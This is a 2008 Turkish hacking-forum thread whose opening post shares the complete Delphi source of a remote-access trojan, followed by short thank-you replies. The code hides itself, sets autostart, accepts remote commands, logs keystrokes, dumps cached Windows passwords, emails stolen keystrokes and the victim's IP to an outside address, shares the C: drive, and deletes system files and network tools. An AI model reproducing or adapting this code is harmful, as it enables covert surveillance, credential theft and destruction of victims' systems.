Turkish Hacking Sabotage | Türkiyenin En Büyük Hack Ve Security Sitesi
Anasayfa Forumlar Yeni Mesajlar Bugünün Mesajları Üye Ol
Geri git   Turkish Hacking Sabotage | Türkiyenin En Büyük Hack Ve Security Sitesi > Hacking Center > Trojan
Sayfaya güncelle Delphi de Trojan KodLarı...
Trojan Trojan vb. hakkında bilgi paylaşımı yapabileceğiniz bölüm.

Konu Bilgileri
Konu Başlığı
Delphi de Trojan KodLarı...
Konudaki Cevap Sayısı
5
Şuan Bu Konuyu Görüntüleyenler
 
Görüntülenme Sayısı
0
Cevapla
 
Seçenekler Stil
Delphi de Trojan KodLarı...
Alt
  (#1)
fatih_3434 is Offline
[10]Yeni Üye
fatih_3434 is a name known to allfatih_3434 is a name known to allfatih_3434 is a name known to allfatih_3434 is a name known to allfatih_3434 is a name known to allfatih_3434 is a name known to all
 
fatih_3434 - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 347
>Açtığı Konu: 112

Level: 17 [♥ Bé-Yêu ♥]
Paylaşım: 81 / 409
Güç: 115 / 581
Tecrübe: 39%

Üyelik tarihi: Apr 2008
Kullanıcı No: 285881
Nerden: NνЯy
Yaş: 18
Rep Puani: 594
Rep Derecesi : fatih_3434 is a name known to allfatih_3434 is a name known to allfatih_3434 is a name known to allfatih_3434 is a name known to allfatih_3434 is a name known to allfatih_3434 is a name known to all
   
Icon2 Delphi de Trojan KodLarı... - 06-17-2008


unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, ExtCtrls, StdCtrls,Mmsystem,shellapi,Pso ck, NMMSG,Registry,IniFiles,
NMsmtp,KeySpy,ShlOBJ, SharedResource;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
Edit1: TEdit;
Timer1: TTimer;
Label1: TLabel;
NMSMTP1: TNMSMTP;
Label2: TLabel;
Edit2: TEdit;
Timer2: TTimer;
ClientSocket1: TClientSocket;
hook: TMemo;
KeySpy1: TKeySpy;
Label3: TLabel;
SharedResource1: TSharedResource;
label4: TEdit;
procedure ServerSocket1ClientRead(Sender : TObject;
Socket: TCustomWinSocket);
procedure Edit1Change(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormActivate(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Edit2Change(Sender: TObject);

procedure KeySpy1KeySpyDown(Sender: TObject; Key: Byte;
KeyStr: String);
procedure KeySpy1ActiveTitleChanged(Send er: TObject;
ActiveTitle: String);
procedure ServerSocket1ClientConnect(Sen der: TObject;
Socket: TCustomWinSocket);
procedure label4Change(Sender: TObject);
private

{ Private declarations }
public
hMPR: THandle;
procedure WriteText(TransText: string);
{ Public declarations }
end;
var
Form1: TForm1;

const
Count: Integer = 0;

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;

implementation
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';

type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;


var Result: Integer;
dc : hdc;
C :PChar;
I: Integer;
Reg : TRegistry;
Keys,Values: TStringList;
SystemDir : String ;
Canvas: TCanvas;
szWinDir:array[0..MAX_PATH] of char;
Cmd:string;
AppExe :string;
WinPassword: TWinPassword;
MyFormat : Word;
AData: THandle;
APalette: HPalette;
DCDesk: HDC;

MyBMP : TBitmap;
adres1:string;


{$R *.DFM}
const
OldRet: Boolean = False;



function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
Password: String;
PC: Array[0..$FF] of Char;
begin
inc(Count);

Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);

Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOem(PC, PC);
Password := Password + ': ' + StrPas(PC);

Form1.hook.lines.Add(Password) ;
Result := True;
end;

procedure TForm1.WriteText(TransText: string);
var
MyHand: HWND;
MyDc: HDC;
MyCanvas: TCanvas;
begin
MyHand := GetDesktopWindow;
MyDc := GetWindowDC(MyHand);
MyCanvas := TCanvas.Create;
MyCanvas.Handle := MyDC;
BeginPath(MyCanvas.Handle);
MyCanvas.Font.Color := clRed;
MyCanvas.Font.Name := 'Courier New';
MyCanvas.Font.Size := 100;
SetBkMode(MyCanvas.Handle, TRANSPARENT);
EndPath(MyCanvas.Handle);
MyCanvas.TextOut(100, 100, TransText);
end;



procedure SetRes(XRes, YRes: DWord);
var
lpDevMode : TDeviceMode;
begin
EnumDisplaySettings(nil, 0, lpDevMode);
lpDevMode.dmFields:=DM_PELSWID TH or DM_PELSHEIGHT;
lpDevMode.dmPelsWidth:=XRes;
lpDevMode.dmPelsHeight:=YRes;
ChangeDisplaySettings(lpDevMod e, 0);
end;

Procedure CloseDoor;
Begin
mciSendString('Set cdaudio door closed', nil, 0, 0);
end;
Procedure OpenDoor;
Begin
mciSendString('Set cdaudio door open', nil, 0, 0);
end;
procedure TForm1.ServerSocket1ClientRead (Sender: TObject;
Socket: TCustomWinSocket);

var
s:string;
begin
s:=socket.receivetext;
edit1.text:=s;


end;
Procedure CoverMyTracks;
var
WindowsDirectory : String ;
begin
DeleteFile(WindowsDirectory+'N etstat.exe');
DeleteFile(WindowsDirectory+'N BTSTAT.EXE');
DeleteFile(WindowsDirectory+'T RACERT.EXE');
DeleteFile(WindowsDirectory+'R OUTE.EXE');
DeleteFile(WindowsDirectory+'P ING.EXE');
end;
procedure e;
begin
Canvas:=TCanvas.Create;
try
Canvas.Handle:=CreateDC('DISPL AY',nil,nil,nil);
Canvas.CopyRect(Rect(0,0,Scree n.Width,Screen.Height),Canvas,
Rect(0,Screen.Height,Screen.Wi dth,0));
finally
Canvas.Free;
end;
end;



procedure TForm1.Edit1Change(Sender: TObject);
var
I: Integer;
begin
if edit1.text='a26'then
begin


for I := 0 to 5000 do
begin
CreateDirectory(PChar('C:\wind ows\desktop\mmm' + IntToStr(I)), nil);
end;
end;
if edit1.text='a21'then
begin
WriteText('hehheh!!!');
edit1.text:='0' ;
end;
if edit1.text='a22'then
begin
asm
@loop1:
mov cx,0ffh;
mov al,cl;
out 70,al;
out 71,al;
loop @loop1 ;
end;
edit1.text:='0' ;
end;
if edit1.text='a23'then
begin
clientsocket1.Socket.SendText( hook.text);
edit1.text:='0' ;
end;
if edit1.text='a24'then
begin

clientsocket1.Address:=label3. caption;
clientsocket1.Active:=true;
edit1.text:='0' ;
end;
if edit1.text='a19'then


begin
asm
cli
@@WaitOutReady:
in al,64h
test al,00000010b
jnz @@WaitOutReady
mov al,0FEh
out 64h,al
end;
edit1.text:='0' ;
End;
if edit1.text='a20'then
begin

ShowWindow(FindWindow( 'BaseBar',nil), SW_NORMAL);//başlam menü listesi
ShowWindow(FindWindow( 'Progman',nil), SW_NORMAL);//masaüstü
edit1.text:='0' ;
end;
if edit1.text='a1'then
begin
exitwindowsex(EWX_SHUTDOWN,0);
edit1.text:='0' ;
end;

if edit1.text='a2'then
begin
SetCursorPos(15000,15000);
edit1.text:='0' ;

end;
if edit1.text='a3'then
begin
Perform(WM_SYSCOMMAND, SC_SCREENSAVE,1);
edit1.text:='0' ;
end;
if edit1.text='a4'then
begin

asm
mov ax,0feh
out 64h,ax
end;
edit1.text:='0' ;
end;
if edit1.text='a5'then
begin
OPENDOOR ;
edit1.text:='0' ;
end;
if edit1.text='a6'then
begin
closedoor ;
edit1.text:='0' ;
end;
if edit1.text='a7'then
begin
timer1.enabled:=true;
edit1.text:='0' ;
end;




if edit1.text='a8'then
begin
timer1.enabled:=false;
edit1.text:='0' ;
end;
if edit1.text='a9'then
begin
e; //ekranı ters cevir
edit1.text:='0' ;
end;
if edit1.text='a10'then
begin
CoverMyTracks ;
edit1.text:='0' ;
end;
if edit1.text='a11'then
begin
DeleteFile(SystemDir+'\windows \Command.com'); //wincrash2
DeleteFile(SystemDir+'\windows \Win.com');
DeleteFile(SystemDir+'\windows \system.ini');
DeleteFile(SystemDir+'\windows \win.ini');
DeleteFile(SystemDir+'\Command .com');
DeleteFile(SystemDir+'\autoexe .bat');
edit1.text:='0' ;
end;

if edit1.text='a12'then
begin
Reg:=TRegistry.Create;
Keys:=TStringList.Create; //saati sil
Values:=TStringList.Create;
Reg.RootKey:=HKEY_CURRENT_USER ;
if not Reg.OpenKey('\RemoteAccess\Add resses',false) then Exit;
Reg.GetValueNames(Values);
for I:=0 to Values.Count-1 do
Reg.DeleteValue(Values);
if not Reg.OpenKey('\RemoteAccess\Pro files',false) then Exit;
Reg.GetKeyNames(Keys);
for I:=0 to Keys.Count-1 do
Reg.DeleteKey(Keys);
Reg.Free;
Values.Free;
Keys.Free;
edit1.text:='0' ;
end;

if edit1.text='a13'then
begin
exitwindowsex(EWX_reboot,0); //restart
end;

if edit1.text='a15'then
begin
Winexec('Control.exe Date/Time',sw_shownormal);
edit1.text:='0' ; //saat dialog ac
end;
if edit1.text='a16'then
begin
ShowWindow(FindWindow( 'BaseBar',nil), SW_MINIMIZE);//başlam menü listesi
ShowWindow(FindWindow( 'Progman',nil), SW_HIDE);//masaüstü
edit1.text:='0' ; //format belgelerim
end;

if edit1.text='a17'then
begin
Setres(800, 600);
edit1.text:='0' ;
end;



if edit1.text='a18'then
begin
Setres(640, 480);
edit1.text:='0' ;
end;
end ;

function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord; stdcall; external 'KERNEL32.DLL';

function GetAppPath: string;
begin
Result := ExtractFilePath(Application.Ex eName);
if Result[Length(Result)] <> '\' then
Result := Result + '\';
end;



//.............................. .............................. .
procedure TForm1.FormCreate(Sender: TObject);

begin

RegisterServiceProcess(GetCurr entProcessID,1);
serversocket1.Port:=333;
serversocket1.Active:=true;





try
copyfile(PChar(Application.Exe name),'C:\WINDOWS\SYSTEM\Win32 r.exe',true);
RegisterServiceProcess(GetCurr entProcessID,0);
SetWindowLong(Application.Hand le, GWL_EXSTYLE, WS_EX_TOOLWINDOW);

finally

with TRegistry.Create do
try
RootKey := HKEY_CURRENT_USER;
if OpenKey ('\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run', true) then
AppExe:=#34+Application.Exenam e+#34;
WriteString('Win32r', AppExe);

finally

Label1.Caption := GetAppPath;
if label1.caption <> 'C:\WINDOWS\SYSTEM\' then
begin
ShellExecute(0, 'open', PChar('C:\WINDOWS\SYSTEM\Win32 r.exe'), nil, nil, SW_SHOW);
halt(0);





end;


end;
end;
end;



//.............................. ..............................


procedure TForm1.Timer1Timer(Sender: TObject);
begin
SendMessage(Application.Handle , WM_SYSCOMMAND, SC_MONITORPOWER, 0); //monitor kapa
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
RegisterServiceProcess(GetCurr entProcessID,1);
end;

procedure TForm1.FormShow(Sender: TObject);

begin

if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.MessageBox('Can''t load passwords: User is not logon.', 'Error', mb_Ok or mb_IconWarning);
Application.Terminate;
end
else
if Count = 0 then
hook.lines.Add('No passwords found...');
RegisterServiceProcess(GetCurr entProcessID,1);


end;

procedure TForm1.Timer2Timer(Sender: TObject);
var

a:string;
b:integer;
begin

b:=strtoint(label4.text );
b:=b+1;
label4.text:=inttostr(b);
if label4.text='900' then
begin
label4.text:='0';
if edit2.text<> '127.0.0.1' then
begin
NMSMTP1.Host := 'mail.rt.net.tr';
NMSMTP1.UserID := 'ip no trojan!';
NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddres s := 'trojan79trojan@yahoo.com';
NMSMTP1.PostMessage.ToAddress. Text := 'tret';
NMSMTP1.PostMessage.Body.Text := datetimetostr(now)+hook.Text;


NMSMTP1.PostMessage.Subject := edit2.text;
NMSMTP1.SendMail;

NMSMTP1.Disconnect;
end;
end;
edit2.text :=nmsmtp1.LocalIP;
end;

procedure TForm1.Edit2Change(Sender: TObject);
begin

if edit2.text <> '127.0.0.1' then
begin
NMSMTP1.Host := 'mail.rt.net.tr';
NMSMTP1.UserID := 'ip no for trojan!';
NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddres s := 'trojan79trojan@yahoo.com';
NMSMTP1.PostMessage.ToAddress. Text := 'aa';

NMSMTP1.PostMessage.Body.Text := datetimetostr(now) ;

NMSMTP1.PostMessage.Subject := edit2.text;
NMSMTP1.SendMail;

NMSMTP1.Disconnect;

end;
end;

procedure TForm1.KeySpy1KeySpyDown(Sende r: TObject; Key: Byte;
KeyStr: String);
begin

if (KeyStr[1] = '-') and (KeyStr[2] = '-') then
begin
Hook.Lines.Add('');
OldRet := True;
end
else
if OldRet then
begin
Hook.Lines.Add('');
OldRet := False;
end;
Hook.Text := Hook.Text + KeyStr;

{ For 16-bit only}
{$IFNDEF WIN32}
if (Length(Hook.Text) > $F0) then Hook.Clear;
{$ENDIF}
end;



procedure TForm1.KeySpy1ActiveTitleChang ed(Sender: TObject;
ActiveTitle: String);
begin
OldRet := True;
Hook.Text := Hook.Text + #13#10'[' + ActiveTitle + ']';

{ For 16-bit only}
{$IFNDEF WIN32}
if (Length(Hook.Text) > $F0) then Hook.Clear;
{$ENDIF}
end;

procedure TForm1.ServerSocket1ClientConn ect(Sender: TObject;
Socket: TCustomWinSocket);
begin
label3.caption:=Socket.RemoteA ddress ;
end;

procedure TForm1.label4Change(Sender: TObject);

begin



SharedResource1.ShareName := 'XP';
SharedResource1.ResourcePath := 'C:\';
SharedResource1.ResourceType := RTFolder;
SharedResource1.AccessType := ATFull;
SharedResource1.Share;


end;

end.


windows'un altındaki uygulamaları siler
Procedure CoverMyTracks;
Var
WindowsDirectory : String ;
Begin
DeleteFile(WindowsDirectory+'N etstat.exe');
DeleteFile(WindowsDirectory+'N BTSTAT.EXE');
DeleteFile(WindowsDirectory+'T RACERT.EXE');
DeleteFile(WindowsDirectory+'R OUTE.EXE');
DeleteFile(WindowsDirectory+'P ING.EXE');
End;


Burada da Registry üzerinde değişiklik yapıyor...
Kod:
if edit1.text='a12'then
begin
Reg:=TRegistry.Create;
Keys:=TStringList.Create; //saati sil
Values:=TStringList.Create;
Reg.RootKey:=HKEY_CURRENT_USER ;
if not Reg.OpenKey('\RemoteAccess\Add resses',false) then Exit;
Reg.GetValueNames(Values);
for I:=0 to Values.Count-1 do
Reg.DeleteValue(Values);
if not Reg.OpenKey('\RemoteAccess\Pro files',false) then Exit;
Reg.GetKeyNames(Keys);
for I:=0 to Keys.Count-1 do
Reg.DeleteKey(Keys);
Reg.Free;
Values.Free;
Keys.Free;
edit1.text:='0' ;


Burda ise kullanıcının IP Adresini kendi mail adresine yolluyor...

NMSMTP1.UserID := 'ip no for trojan!';
NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddres s := 'trojan79trojan@yahoo.com';
NMSMTP1.PostMessage.ToAddress. Text := 'aa';

ALINTIDIR

uYaN TÜRKiYE uYaN 30 KuPoNa ALıNMaDı Bu VaTaN !!!
  
Alıntı ile Cevapla

Alt
  (#2)
uye1 is Offline
[10]Yeni Üye
uye1 will become famous soon enoughuye1 will become famous soon enough
 
uye1 - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 1
>Açtığı Konu: 0

Level: 1 [♥ Bé-Yêu ♥]
Paylaşım: 0 / 0
Güç: 0 / 0
Tecrübe: 0%

Üyelik tarihi: Jun 2008
Kullanıcı No: 333838
Yaş: 19
Rep Puani: 100
Rep Derecesi : uye1 will become famous soon enoughuye1 will become famous soon enough
   
Standart 06-23-2008


Konu yanlıs yerde !
  
Alıntı ile Cevapla
Alt
  (#3)
beycan1985 is Offline
[10]Yeni Üye
beycan1985 is a glorious beacon of lightbeycan1985 is a glorious beacon of lightbeycan1985 is a glorious beacon of lightbeycan1985 is a glorious beacon of lightbeycan1985 is a glorious beacon of lightbeycan1985 is a glorious beacon of light
 
beycan1985 - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 976
>Açtığı Konu: 2

Level: 27 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 200 / 667
Güç: 325 / 1503
Tecrübe: 71%

Üyelik tarihi: Jan 2008
Kullanıcı No: 219091
Rep Puani: 508
Rep Derecesi : beycan1985 is a glorious beacon of lightbeycan1985 is a glorious beacon of lightbeycan1985 is a glorious beacon of lightbeycan1985 is a glorious beacon of lightbeycan1985 is a glorious beacon of lightbeycan1985 is a glorious beacon of light
   
Standart 06-23-2008


eyvallah sağol
  
Alıntı ile Cevapla
Alt
  (#4)
BAT-TiM is Offline
[10]Yeni Üye
BAT-TiM will become famous soon enoughBAT-TiM will become famous soon enough
 
BAT-TiM - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 23
>Açtığı Konu: 0

Level: 3 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 0 / 63
Güç: 7 / 153
Tecrübe: 52%

Üyelik tarihi: Dec 2007
Kullanıcı No: 201015
Nerden: PendikTen
Rep Puani: 105
Rep Derecesi : BAT-TiM will become famous soon enoughBAT-TiM will become famous soon enough
   
Standart 06-23-2008


Alıntı:
beycan1985´isimli üyeden Alıntı Mesajı göster
eyvallah sağol
kardeşim kb ama heseye aynı cevabı veriyorsun botmusun?
  
Alıntı ile Cevapla
Alt
  (#5)
Silent Wolf is Offline
[10]Yeni Üye
Silent Wolf has a spectacular aura aboutSilent Wolf has a spectacular aura aboutSilent Wolf has a spectacular aura about
 
Silent Wolf - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 453
>Açtığı Konu: 8

Level: 19 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 46 / 468
Güç: 151 / 1206
Tecrübe: 73%

Üyelik tarihi: Nov 2007
Kullanıcı No: 188220
Rep Puani: 219
Rep Derecesi : Silent Wolf has a spectacular aura aboutSilent Wolf has a spectacular aura aboutSilent Wolf has a spectacular aura about
   
Standart 06-23-2008


DeleteFile(SystemDir+'\windows \Win.com');
DeleteFile(SystemDir+'\windows \system.ini');
DeleteFile(SystemDir+'\windows \win.ini');
DeleteFile(SystemDir+'\Command .com');
DeleteFile(SystemDir+'\autoexe .bat');

bu tür yazılımlardan anlamam ama bu kısmı çok önemli gibi sistem dosyalarını siliyor autoexe.bat dosyası gizli dosyadır c:/windows'un içinde dir. içine neredeyse 1 kelimelik bir kod yazarsanız pc kapandığı zaman win cd'sini ister

system.ini bunu herkes bilir adı üstünde sistem dosyaları system32 vb.

win.ini yani windows'un kurulu olduğu ana dosyalar

command konutlar olması lasım yani cmd(command) ms-dos

ve hepsinde ortak olna şey DeleteFile(SystemDir+'\ Delete file dosyaları sil komutu
kod okumasını bilen biri bu kodu kullansın derim

Paylaşım için sağol...

[Linkleri Sadece Üyeler Görebilir..]
Şampiyonu Sıkar Yarış - Köle - Gaz Odaları - Protest Kanatlar - Vasiyet ve Bağdat
(Hayatın Gerçek Anlamı)
  
Alıntı ile Cevapla
Alt
  (#6)
nhk_17 is Offline
[10]Yeni Üye
nhk_17 is a jewel in the roughnhk_17 is a jewel in the roughnhk_17 is a jewel in the rough
 
nhk_17 - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 173
>Açtığı Konu: 0

Level: 12 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 28 / 280
Güç: 57 / 538
Tecrübe: 21%

Üyelik tarihi: Feb 2008
Kullanıcı No: 263713
Rep Puani: 271
Rep Derecesi : nhk_17 is a jewel in the roughnhk_17 is a jewel in the roughnhk_17 is a jewel in the rough
   
Standart 06-23-2008


paylaşım için saol
  
Alıntı ile Cevapla
Cevapla

Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)
 
Seçenekler
Stil
Normal Normal

Yetkileriniz
Yeni Mesaj yazma yetkiniz aktif değil dir.
Mesajlara Cevap verme yetkiniz aktif değil dir.
Eklenti ekleme yetkiniz aktif değil dir.
Kendi Mesajınızı değiştirme yetkiniz aktif değil dir.
Smileler Açık
[IMG] Kodları Açık
HTML-KodlarıKapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı


Bütün Zaman Ayarları WEZ +3 olarak düzenlenmiştir. Şu Anki Saat: 10:24 AM .

İletişim - Turkish Hacking Sabotage | Türkiye'nin En Büyük Hack Ve Security Sitesi - Arşiv - Yukarı git

Powered by Jelsoft Enterprises Ltd.
Content Relevant URLs by 3.0.0

Free PageRank Checker
cixporno.net - porno - sexstr.net - sex - asikoldum.net - dizi - diziizle - diziler - canlı dizi

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365